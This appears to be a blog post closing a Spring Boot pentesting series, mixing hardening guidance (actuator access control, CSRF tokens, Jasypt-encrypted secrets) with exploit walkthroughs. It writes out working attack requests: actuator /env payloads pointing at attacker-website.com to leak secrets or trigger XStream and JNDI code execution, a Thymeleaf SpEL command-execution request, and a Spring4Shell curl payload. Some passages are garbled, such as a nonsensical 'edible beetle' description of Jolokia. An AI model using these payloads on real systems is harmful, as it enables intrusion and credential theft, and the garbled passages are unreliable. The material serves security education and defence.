SPRING BOOT PENTESTING PART 5- SECURING SPRING WEB APPS AND API

All the previous blogs were specific for Fundamentals , lab setup and exploits . But in this blog, we will look at the SECURING SPRING WEB APPS AND API’s through the developer’s point of view.

We will add the security starter Maven dependency.

<dependency>

    <groupId>org.springframework.boot</groupId>

    <artifactId>spring-boot-starter-security</artifactId>

    <version>2.5.1</version>

</dependency>

To secure actuators endpoints with role in spring boot

Other Methods to secure it:-Refrence

First, exclude the default security config:

@SpringBootApplication(exclude = {

    SecurityAutoConfiguration.class,

    ManagementWebSecurityAutoConfiguration.class

})

We can use the ManagementWebSecurityAutoConfiguration class to apply our own security configuration to the actuator.

In our configuration class, we will configure a couple of users and roles. The ADMIN role will allow us to work with data.

@Override

protected void configure(AuthenticationManagerBuilder auth) throws Exception {

    PasswordEncoder encoder = PasswordEncoderFactories.createDelegatingPasswordEncoder();

    auth

      .inMemoryAuthentication()

      .withUser("user")

      .password(encoder.encode("password"))

      .roles("USER")

      .and()

      .withUser("admin")

      .password(encoder.encode("admin"))

      .roles("USER", "ADMIN");

}

Spring Boot provides us with a convenient request matcher to use for our actuator endpoints.

Let’s use it to lockdown our /actuator to only the ADMIN role:

http.requestMatcher(EndpointRequest.toAnyEndpoint())

  .authorizeRequests((requests) -> requests.anyRequest().hasRole("ADMIN"));

Refer to Link if u want to learn in detail about security protocol.

CSRF ATTACK PROTECTION

Since Spring Boot relies on Spring Security’s defaults, CSRF protection is automatically enabled. This means that the actuator endpoints that require a POST, PUT, or DELETE get a 403 Forbidden error when the default security configuration is in use. We recommend disabling CSRF protection completely only if you are creating a service that is used by non-browser clients.

Lets understand it in a better way : Your bank website allows you to transfer money from your account to another account.

Transfer form

<form method="post"

     action="/transfer">

<input type="text"

     name="amount"/>

<input type="text"

     name="routingNumber"/>

<input type="text"

     name="account"/>

<input type="submit"

     value="Transfer"/>

</form>

Transfer HTTP request

POST /transfer HTTP/1.1

Host: bank.example.com

Cookie: JSESSIONID=randomid

Content-Type: application/x-www-form-urlencoded

amount=100.00&routingNumber=1234&account=9876

Now pretend without logging out we visit an unknown website and has a great HTML code embedded and when we click to win money then it has a form like:

transfer form

<form method="post"

        action="https://bank.example.com/transfer">

<input type="hidden"

        name="amount"

        value="100.00"/>

<input type="hidden"

        name="routingNumber"

        value="evilsRoutingNumber"/>

<input type="hidden"

        name="account"

        value="evilsAccountNumber"/>

<input type="submit"

        value="Win Money!"/>

</form>

You like to win money, so you clicked on the submit button on a website. This caused your bank account to be transferred to a malicious user. This is because the website was able to see your cookies, but your bank’s cookies were also sent along with the request.

This process could have been automated, meaning you didn’t have to do anything. Furthermore, this could happen to users visiting an honest site that is a victim of a XSS attack.

Now,To protect against this spring provide two mechanism :

• The Synchronizer Token Pattern
• Specifying the Same Site Attribute on your session cookie

The application must make sure that GET, HEAD, OPTIONS, and TRACE requests are idempotent, which means they won’t change the state of the application.

The Synchronizer Token Pattern

When an HTTP request is submitted, the server must look up the expected CSRF token and compare it against the actual CSRF token in the HTTP request. Requiring the actual CSRF token in a cookie does not work because cookies are automatically included in the HTTP request by the browser. The key to this working is that the actual CSRF token should be in a part of the HTTP request that is not automatically included by the browser.

Synchronizer Token Form
<form method="post"
	action="/transfer">
<input type="hidden"
	name="_csrf"
	value="4bfd1575-3ad1-4d21-96c7-4ef2d9f86721"/>
<input type="text"
	name="amount"/>
<input type="text"
	name="routingNumber"/>
<input type="hidden"
	name="account"/>
<input type="submit"
	value="Transfer"/>
</form>

The form now contains a hidden input with the value of the CSRF token. External sites cannot read the CSRF token, since the same origin policy ensures the evil site cannot read the response.

The corresponding HTTP request to transfer money would look like this:

Synchronizer Token request

POST /transfer HTTP/1.1

Host: bank.example.com

Cookie: JSESSIONID=randomid

Content-Type: application/x-www-form-urlencoded

amount=100.00&routingNumber=1234&account=9876&_csrf=4bfd1575-3ad1-4d21-96c7-4

The HTTP request now includes the _csrf parameter with a secure random value. The evil website will not be able to provide the correct value for the _csrf parameter (which must be explicitly provided on the evil website) and the transfer will fail when the server compares the actual CSRF token to the expected CSRF token.

Lets Configure Endpoints

Mainly, the endpoints cache automatically respond to read the operations which does not take parameter. So to configure the time to which endpoint caches a response can be configured in a way provided below.

management.endpoint.beans.cache.time-to-live=10s

Exposing routes

Sometimes only exposing relevant parameters and information of the spring application is not a vulnerability but can help us to understand the application and can be used an access control vulnerabilities. Some path and parameter information are:

/v2/api-docs

/swagger-ui.html

/swagger

/api-docs

/api.html

/swagger-ui

/swagger/codes

/api/index.html

/api/v2/api-docs

/v2/swagger.json

/swagger-ui/html

/distv2/index.html

/swagger/index.html

/sw/swagger-ui.html

/api/swagger-ui.html

/static/swagger.json

/user/swagger-ui.html

/swagger-ui/index.html

/swagger-dubbo/api-docs

/template/swagger-ui.html

/swagger/static/index.html

/dubbo-provider/distv2/index.html

/spring-security-rest/api/swagger-ui.html

/spring-security-oauth-resource/swagger-ui.html

/mappings

/metrics

/beans

/configprops

/actuator/metrics

/actuator/mappings

/actuator/beans

/actuator/configprops

Path Traversal

It can be possible with spring boot >2.2.6 as it treats

https://website.com/allowed/..;/internal 

same as 

https://website.com/allowed/../internal.

Lets take an example that is an application is deployed behind nginx then assume it forward all request to /allowed/ to and application and deny other one so, in this case /allowed/../internal will be blocked but if we pass /allowed/..;/internal it will pass as it is not nginx .

Spell Injection

The Spring Expression Language (SpEL for short) is a powerful expression language that supports querying and manipulating an object graph at runtime. This chapter covers the features of the expression language, its API, and its language syntax. Its language features are driven by the requirements of the projects in the Spring portfolio, including tooling requirements for code completion support within the eclipse based Spring Source Tool Suite.

One way to get RCE in Spring is by injecting SpEL expressions.

Here we will learn what is spell , where we can find and what are the features of the use cases and how to find such injections:-

SpEL– is an expression language that is designed to be integrated into other applications and frameworks. It also supports queries and object graph manipulation at runtime.

Where can we find?

It is usual that SpEL can be found in spring framework.Lets take an example:

@PreAuthorize("hasPermission(#contact, 'admin')")
public void deletePermission(Contact contact, Sid recipient, Permission permission);

To understand What generally spell injections are, we should be well familiar with spring and SpEL. The main element is the spring container.Basically it creates objects, links them together, configures and manages them from creation to destruction.
The Spring Container uses Dependency Injection to obtain the necessary configuration information from beans. This allows the container to configure the objects needed to run the application.

It is worth reading this doc.

More important things:-

• If it is possible to search through the application code, then you need to look for the following keywords: SpelExpressionParser, EvaluationContext and parseExpression.
• Pointers important for Spring #{SpEL}, ${someProperty}and T(javaclass)
  If you want to read more about Spring and SpEL, we recommend that you pay attention to the documentation docs.spring.io .

Lets start with the functanility supported by SpEL:

• Literal expressions
• Boolean and relational operators
• regular expressions
• class expressions
• Accessing properties, arrays, lists, maps
• method invocation
• Relational operators
• assignment
• Calling constructors
• Bean references
• Array construction
• Inline lists
• Inline maps
• Ternary operator
• Variables
• User defined functions
• Collection projection
• collection selection
• template expressions

This section will provide a brief overview of the /env directory.

So first let’s learn how to retrieve the entire environment, make a GET request to /actuator/env or /env as shown below by curl-base :

$ curl 'http://localhost:8080/actuator/env' -i -X GET
HTTP/1.1 200 OK
Content-Type: application/vnd.spring-boot.actuator.v3+json
Content-Length: 814

{
  "activeProfiles" : [ ],
  "propertySources" : [ {
    "name" : "systemProperties",
    "properties" : {
      "java.runtime.name" : {
        "value" : "OpenJDK Runtime Environment"
      },
      "java.vm.version" : {
        "value" : "25.272-b10"
      },
      "java.vm.vendor" : {
        "value" : "AdoptOpenJDK"
      }
    }
  }, {
    "name" : "systemEnvironment",
    "properties" : {
      "JAVA_HOME" : {
        "value" : "/opt/openjdk",
        "origin" : "System Environment Property \"JAVA_HOME\""
      }
    }
  }, {
    "name" : "Config resource 'classpath:/application.properties' via location 'classpath:/'",
    "properties" : {
      "com.example.cache.max-size" : {
        "value" : "1000",
        "origin" : "class path resource [application.properties] - 1:29"
      }
    }
  } ]
}

The response contains details of the application’s Environment. The following table describes the structure of the response:

Path	Type	Description
activeProfiles	Array	Names of the active profiles, if any.
propertySources	Array	Property sources in order of precedence.
propertySources.[].name	String	Name of the property source.
propertySources.[].properties	Object	Properties in the property source keyed by property name.
propertySources.[ ].properties.*.value	String	Value of the property.
propertySources.[ ].properties.*.origin	String	Origin of the property, if any.

Now to fetch another single property we will be using curl command in a format like:

$ curl 'http://localhost:8080/actuator/env/com.example.cache.max-size' -i -X GET

After this, lets understand the that env is that endpoint which basically exposes properties from spring’s configurableEnviornment.

So now spring boot 2.x use JSON instead of x-www-form-urlencoded for property change via the env endpoint.

So the information retrieved by the env and configprops endpoints can be somewhat sensitive, So they are replaced by (*)

By default, but there are ways by which we can retrieve theirs .this is so called sanitize sensible values and for instance it states any key which holds: “password”, “secret ,” key” and also any regular one like “credentials” and to sanitize that the pattern is:

management.endpoint.env.keys-to-sanitize and 
management.endpoint.configprops.keys-to-sanitize respectively.

We can get env property value in plaint  text by steps:

Set the eureka.client.serviceUrl.defaultZone property:

POST /actuator/env HTTP/1.1

Content-Type: application/x-www-form-urlencoded

{

    "name": "eureka.client.serviceUrl.defaultZone",

    "value": "http://value:${your.property.name}@attacker-website.com/"

}

Now refresh it:-

POST /actuator/refresh HTTP/1.1

Content-Type: application/json

Retrive the property value from Authorization header from attacker-website.com logs

XStream deserialization RCE

It requires eureka client version<1.8.7.

We can gain RCE with steps:

Set up a website that responds with a malicious XStream payload, check

Set eureka.client.serviceUrl.defaultZone property:

POST /actuator/env HTTP/1.1

Content-Type: application/json

{

    "name": "eureka.client.serviceUrl.defaultZone",

    "value": "http://attacker-website.com/payload"

}

Refresh the configuration:

POST /actuator/refresh HTTP/1.1

Content-Type: application/json

Code will be executed

The eureka.client.serviceUrl.defaultZone property is set to the external eureka server URL

Refresh triggers a request to the fake eureka server that will return a malicious payload

Response parsing triggers XStream deserialization that leads to code execution.

JNDI

JNDI provides a uniform way to access naming and directory services from Java code. This API can be used to bind objects, look up or query objects, and detect changes on the same objects.Here logging.config can lead to rce via log back JNDI :

Here we can tell how to exploit it:

Lets host the Logback config XML with the given text:

<configuration>
    <insertFromJNDI env-entry-name="ldap://attackerwebsite.com:1389/TomcatBypass/Command/Base64/b3BlbiAtYSBDYWxjdWxhdG9y" as="appName" />
</configuration>

Now host a malicious LDAP service : and prepare a payload and start the service for futher refrence .

POST /actuator/env HTTP/1.1

Content-Type: application/json

{

    "name": "logging.config",

    "value": "http://attacker-website.com/logback.xml"

}

 Now just restart the application.

Here for remaining RCE one’s follow this link:

Thymeleaf  Engine

How to identify (template look alike)-

!DOCTYPE HTML>
<html lang="en" xmlns:th="http://www.thymeleaf.org">
<div th:fragment="header">
    <h3>Spring Boot Web Thymeleaf Example</h3>
</div>
<div th:fragment="main">
    <span th:text="'Hello, ' + ${message}"></span>
</div>
</html>

It basically supports file layouts which allows us to specify a fragment in the template by using <div th:fragment="main"> and then request only this fragment from the view:

@GetMapping("/main")

public String fragment() {

    return "welcome :: main";

}

Thymeleaf is able to return only the main div from the welcome view, but not the whole document.

try {

   // By parsing it as a standard expression, we might profit from the expression cache

   fragmentExpression = (FragmentExpression) parser.parseExpression(context, "~{" + viewTemplateName + "}");

}

If you include untrusted data in a template name or fragment, that can lead to an injection attack.

@GetMapping("/path")

public String path(@RequestParam String lang) {

    // potential path traversal, but limited to the 'templates' folder

    return "user/" + lang + "/welcome";

}

@GetMapping("/fragment")

public String fragment(@RequestParam String section) {

    return "welcome :: " + section;

}

The following request creates the executed file on the server:

GET /path?lang=__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("touch executed").getInputStream()).next()}__::.x HTTP/1.1

Host: vulnerable-website.com

This exploit uses. In order for the expression to be executed by the Thymeleaf, no matter what prefixes or suffixes are, it is necessary to surround it with __${ and }__::.x.
 For Detail :

Spring Data Redis Insecure Deserialization

Spring Data Redis provides easy access to Redis from Spring applications, and by default, Java native serialization is used for data storage.

 Insecure deserialization

Here whenever spring data Redis retrieves data from redis then the byte code is deserialized . as the target class iOS not checked or filtered, so here it can lead to RCE.

Lets show  with an example

First generate payload with yoserial.

Then write in redis:

// Try to choose a key that already exists in Redis so that code execution can start when Spring retrieves data

redis.set("\xac\xed\x00\x05t\x00\brebeyond", payload);

Trigger or wait for Spring to retrieve data, example of vulnerable code:

@Controller

public class HelloController {

    protected RedisTemplate<Serializable, Serializable> redisTemplate;

    @GetMapping("/")

    public String index() {

        Object result = redisTemplate.opsForValue().get("rebeyond");

        return "index";

    }

}

Now the calculator will start automatically.

Encrypts secrets in a spring boot application (Jasypt):-

As a regular or inexperienced developer, they store text secrets in the application, so there’s a disadvantage that anyone who has access to the file system can access the resource and then it also makes the attacker job easy .

Now, to encrypt the username and password strings, we can use Jasypt(Java Simplified Encryption) library here.

Java Simplified Encryption

Jasypt is a library that makes it easy to add basic encryption capabilities to your projects. This can be helpful if you don’t have a lot of experience with cryptography, or if you want to do it in a simple way.

This product helps you to encrypt your data securely using standard encryption techniques. It is suitable for use with Hibernate, and can easily be integrated into Spring-based applications. It also includes features to help protect the configuration of your applications, making it great for high-performance encryption in multi-processor/multi-core systems.

With Jasypt, encrypting and checking a password can be as simple as…

StrongPasswordEncryptor passwordEncryptor = new StrongPasswordEncryptor();

String encryptedPassword = passwordEncryptor.encryptPassword(userPassword);

...

if (passwordEncryptor.checkPassword(inputPassword, encryptedPassword)) {

  // correct!

} else {

  // bad login!

}

…encrypting and decrypting a text…

AES256TextEncryptor textEncryptor = new AES256TextEncryptor();

textEncryptor.setPassword(myEncryptionPassword);

String myEncryptedText = textEncryptor.encrypt(myText);

...

String plainText = textEncryptor.decrypt(myEncryptedText);

...and what about encrypting some sensitive data directly from Hibernate?

<class name="Employee" table="EMPLOYEE">

  ...

  <property name="address" column="ADDRESS" type="encryptedString" />

  <property name="salary" column="SALARY" type="encryptedDecimal" />

  ...

<class>

How it works:

Jasypt can encrypt data in two ways: One way is without a private key, and the other is with a private key.

The app has a default encryption algorithm, but you can choose to use a stronger one too. such as: PBEWithMD5AndTripleDES.

There is a free tool that helps you encrypt and decrypt messages using a one-way or two-way system.

Process to use Jasypt in Spring boot application:-

If you have @SpringBootApplication or @EnableAutoConfiguration annotations, then you can add a dependency on the auto-configuration plugin i.e pom.xml and it will automatically enable encryption properties in the entire application.

Maven:

<dependency>
        <groupId>com.github.ulisesbocchio</groupId>
        <artifactId>jasypt-spring-boot-starter</artifactId>
        <version>3.0.4</version>
</dependency><plugin>
   <groupId>com.github.ulisesbocchio</groupId>
   <artifactId>jasypt-maven-plugin</artifactId>
   <version>3.0.4</version>
</plugin>

Gradle:

implementation group: ‘com.github.ulisesbocchio’, name: ‘jasypt-spring-boot-starter’, version: ‘3.0.4’
implementation group: ‘com.github.ulisesbocchio’, name: ‘jasypt-maven-plugin’, version: ‘3.0.4’

so if u don’t use @springBootApplication or @EnableAutoConfiguration then add the below one:

Maven:

<dependency>
        <groupId>com.github.ulisesbocchio</groupId>
        <artifactId>jasypt-spring-boot</artifactId>
        <version>3.0.4</version>
</dependency>

Gradle:

implementation group: ‘com.github.ulisesbocchio’, name: ‘jasypt-spring-boot’, version: ‘3.0.4’

And then add @EnableEncryptableProperties to your configuration class:
@Configuration
@EnableEncryptableProperties
public class MyApplication {
    ...
}

Now after adding these one then just update project, so these dependencies will be applied to repository.

Now lets add below provided properties to application.yml:

jasypt:

  encryptor:

    algorithm: PBEWithMD5AndTripleDES

    iv-generator-classname: org.jasypt.iv.NoIvGenerator

But remember along with this we need to write in a specified format DEC(secret_string), so that Jasypt able to understand which string needs to be encrypted.

spring:

  datasource:

    url: jdbc:mysql://localhost:3306/cdr?useSSL=false

    username: DEC(root)

    password: DEC(root123)

And then just go to the terminal and run the below command in your project root folder where the pom.xml exists : To use Jasypt, you need to tell it where your application’s configuration file is. Jasypt looks for application.properties in the classpath.

mvn jasypt:encrypt -Djasypt.plugin.path=”file:src/main/resources/application.yml” -Djasypt.encryptor.password=”secretkey”

If you are using application.properties then you can use below command:

mvn jasypt:encrypt -Djasypt.encryptor.password=”secretkey”

When you run this command, your secrets will be encrypted. Now, you can see these strings now have changed to something like this:

spring:

  datasource:

    username: ENC(zI0hID6ReXaLOMNaOPMWQg==)

If you try to run this application now, it might not work because the secrets are encrypted. However, we can tell the application to use the secrets in decrypted form.

One way to protect your secrets is to store the private key that is used to encrypt them somewhere safe. However, this is not the best way to do it.

We can either keep the information in the system, or store it in a way that is protected from others.

To protect your private key, you can store it in system or environment variables, or in your application’s configuration file.

jasypt:

  encryptor:

    algorithm: PBEWithMD5AndTripleDES

    iv-generator-classname: org.jasypt.iv.NoIvGenerator

    password: ${JASYPT_ENCRYPTOR_PASSWORD}

To store this JASYPT_ENCRYPTOR_PASSWORD as an environment variable, go to terminal and run the command

vi ~/.bash_profile

and add the property there

export JASYPT_ENCRYPTOR_PASSWORD = secretkey

Save the file and exit and then source the profile using

source ~/.bash_profile

Run a Spring Boot application with Jasypt

To run the Spring Boot application, you need to supply the private key password as VM arguments in the command prompt.

java -Djasypt.encryptor.password=cafe21 –jar yourapp.jar

To run the Spring Boot application in Eclipse or Spring Tool Suite IDE, you need to edit the run configuration by passing a VM argument like this:

Role Based Access Control (RBAC) with Spring Boot and JWT

RBAC (Role Based Access Control) helps control who can access certain resources or capabilities in a system. This can be done with a feature called Spring Boot and JWT (JSON Web Token). With RBAC, you can assign different roles to different users or groups, so that only those people with the appropriate role can access the resources or capabilities that the role is assigned to.A great understanding is provided for implementing it.

RCE in “Spring Cloud Function”

If you’re using the Spring Cloud Function library, you must upgrade to 3.1.7+ or 3.2.3+ to prevent an RCE attack. Spring Cloud is a library of functions that helps you build scalable, distributed applications.

• The spring cloud vulnerability could be exploited by hackers to allow unauthorized remote code execution on the affected servers. Hackers are still using a recently discovered exploit to attack these servers. This exploit lets an attacker execute malicious Java code on the vulnerable server.
• The attacker will try to exploit any server they can reach with a malicious payload.
• The payload could be injected into the “spring.cloud.function.routing-expression” header, which is evaluated by the SimpleEvaluationContext class. The “command” is then executed by the Runtime class’s getRuntime() method.
• An attacker can use a malicious command to harm a system and take control of a remote server. This payload causes the Spring Cloud Function to send a request to the attacker’s server.
• The payload is run through a SimpleEvaluationContext, which then triggers some system commands that the attacker could use.

Spring4Shell Exploit (Explanation)

Spring helps translate the content of an HTTP request into a domain instance so developers can more easily work with it. This process makes life easier for developers, as Spring manages the details of the object system from start to finish.

In Spring, the developers are not allowed to control any part of the object being created, including the class, protection domain, and class loader. However, in Java 9, a Spring4Shell vulnerability occurred because the class object was changed.

Let’s explain the code sections! First of all, following the two code sections tackle to restrict access from overriding these object graph paths:

• Class.getClassLoader() → ClassLoader
• Class.getProtectionDomain → ProtectionDomain

Secondly,the Class object now exposes a getModule() method, threat actors can now take this slightly different path:

• Class.getModule() → Module → Module.getClassLoader()

Lets explain in Easy Language:

If your controller has a request mapping loaded into memory, you are already vulnerable to this issue. If, for instance, you have a controller called GreetingController with a PostMapping to ‘/greeting’, when you run the application in, for instance, Tomcat at http://mydomain/myapp/greeting it will try to transform the input to a POJO (Plain Old Java Object), which in our case is the Greeting object.

As the spring uses serialization to map these values to the object so it is also possible to set other values . After some research, we’ve found that we are able to set properties of a class ,if u run tomcat.

•	curl -X POST \

•	-H "pre:<%" \

•	-H "post:;%>" \

•	-F 'class.module.classLoader.resources.context.parent.pipeline.first.pattern=%{pre}i out.println("HACKED" + (2 + 5))%{post}i' \

•	-F 'class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp' \

•	-F 'class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/myapp' \

•	-F 'class.module.classLoader.resources.context.parent.pipeline.first.prefix=rce' \

•	-F 'class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=' \

•	http://mydomain/myapp/greeting

How to mitigate risk for the Spring4Shell.

• Firstly upgrade spring framework to 5.3.18 or 5.2.20 .
• Also apply the Patches for Spring Framework and JDK
• If your application can’t upgrade to use newer Spring core and binding libraries that support non-basic types(POJOs), you can set the allowed fields to specify the only bindings your application will use.
• It is important that the signatures and configurations for web application firewalls and similar tools are updated regularly as the situation changes.

SPRING BOOT VULNERABILITY CHECK LIST:

FOR 0x01 : Some programmers customize the /manage, /management, and the project App path in Spring Boot Actuator. The default starting path of the routing in Spring Boot Actuator is /, but the 2.x version has a unified /actuator as the starting path. The default built-in routing name for Spring Boot Actuator, such as /env, sometimes is modified by programmers, such as /appenv.

One: Information Leakage

Developers don’t always take into account the security implications of leaking addresses, and may not be aware that their development environment can be put into production without proper change management procedures. It’s recommended to Directly visit the two routes to verify whether the vulnerability exists:

/v2/api-docs
/swagger-ui.html

Some other related interface routes such as swagger, swagger codegen, swagger-dubbo that may be encountered:

/swagger
/api-docs
/api.html
/swagger-ui
/swagger/codes
/api/index.html
/api/v2/api-docs
/v2/swagger.json
/swagger-ui/html
/distv2/index.html
/swagger/index.html
/sw/swagger-ui.html
/api/swagger-ui.html
/static/swagger.json
/user/swagger-ui.html
/swagger-ui/index.html
/swagger-dubbo/api-docs
/template/swagger-ui.html
/swagger/static/index.html
/dubbo-provider/distv2/index.html
/spring-security-rest/api/swagger-ui.html
/spring-security-oauth-resource/swagger-ui.html
/mappings
/metrics
/beans
/configprops
/actuator/metrics
/actuator/mappings
/actuator/beans
/actuator/configprops

0×0.2 routes , the built-in routes that may be exposed are:

Some other related interface routes such as swagger, swagger codegen, swagger-dubbo that may be encountered:

/swagger
/api-docs
/api.html
/swagger-ui
/swagger/codes
/api/index.html
/api/v2/api-docs
/v2/swagger.json
/swagger-ui/html
/distv2/index.html
/swagger/index.html
/sw/swagger-ui.html
/api/swagger-ui.html
/static/swagger.json
/user/swagger-ui.html
/swagger-ui/index.html
/swagger-dubbo/api-docs
/template/swagger-ui.html
/swagger/static/index.html
/dubbo-provider/distv2/index.html
/spring-security-rest/api/swagger-ui.html
/spring-security-oauth-resource/swagger-ui.html

The interfaces that are more important for finding vulnerabilities are the ones that attackers would use.

• How to set up two different environments: one for controlling an actuator, and another for receiving actuator data.

• When GET requests are made to the /env will endpoint, information such as environment variables, intranet addresses, and usernames can be revealed. If the attribute names on the request aren’t standardized, for example if a password is written as “password” or “pwd”, the password itself will be revealed in plaintext.

There is a chance that an attacker could exploit vulnerabilities in an application by setting certain attributes through the POST request, and there is also a chance that the attacker could obtain sensitive information such as passwords and keys by exploiting other vulnerabilities.

• The /refresh command will cause the actuator to refresh its data.After setting an attribute on an interface, the interface can cooperate with a subsequent POST request to refresh the attribute value, potentially allowing an attacker to execute arbitrary code.
• The restart command will restart the actuator.This interface is not typically exposed to users, but you can set its properties with a POST request /env interface and then restart the application to trigger a related RCE vulnerability.
• This is a word that describes a type of edible beetle that has a bitter taste. It is also known as the jolokia beetle.The jolokia command can be used to find available MBeans, which can indirectly trigger related RCE vulnerabilities, and obtain the plaintext of important private information covered by asterisks.
• To view the HTTP traffic for an actuator, use the /trace command. To act on the traffic, use the /actuator command.Some HTTP request packets access tracking information, which can reveal some information about the intranet application system, such as the user’s cookies, a jwt token, or other information.

With this blog, Our Spring Boot series is completed with all Major vulnerabilities and if some new zero-day vulnerabilities are discovered in the future then We will come back with more blogs.

SECURING SPRING WEB APPS AND API IS MUST!!

References:-

• https://snyk.io/blog/serialization-and-deserialization-in-java/
• https://snyk.io/blog/spring4shell-zero-day-rce-spring-framework-explained/
• https://www.javadevjournal.com/spring-boot/creating-a-web-application-with-spring-boot/
• https://spring.io/guides/gs/spring-boot/
• https://github.com/spring-projects/spring-shell
• https://www.ibm.com/docs/en/was-nd/8.5.5?topic=framework-jmx-mbeans-spring
• https://zetcode.com/springboot/firstweb/
• https://www.callicoder.com/spring-boot-actuator/
• https://www.veracode.com/blog/research/exploiting-spring-boot-actuators#
• https://xz-aliyun-com.translate.goog/t/4258?_x_tr_sl=auto&_x_tr_tl=en&_x_tr_hl=en
• https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html#synchronizer-token-pattern
• https://docs.spring.io/spring-boot/docs/current/reference/html/actuator.html#actuator.endpoints.security
• https://www.baeldung.com/hikaricp
• https://github.com/spaceraccoon/spring-boot-actuator-h2-rce
• https://github-com.translate.goog/LandGrey/SpringBootVulExploit/blob/master/README.md?_x_tr_sl=auto&_x_tr_tl=en&_x_tr_hl=en#%E9%9B%B6%E8%B7%AF%E7%94%B1%E5%92%8C%E7%89%88%E6%9C%AC
• https://www.marcobehler.com/guides/spring-framework
• https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Mass_Assignment_Cheat_Sheet.md
• https://landgrey.me/blog/21/
• https://0xn3va.gitbook.io/cheat-sheets/framework/spring/spring-boot-actuators#logback-jndi-rce
• https://blog-knownsec-com.translate.goog/2016/10/spring-security-oauth-rce/?_x_tr_sl=auto&_x_tr_tl=en&_x_tr_hl=en
• https://github.com/lunasec-io/Spring4Shell-POC
• https://www.lunasec.io/docs/blog/spring-rce-vulnerabilities/#cve-2022-22963—a-separate-vulnerability
• https://github.com/frohoff/ysoserial

Read our Previous Blogs.

If you enjoyed this blog post , share it with your friends and colleagues!!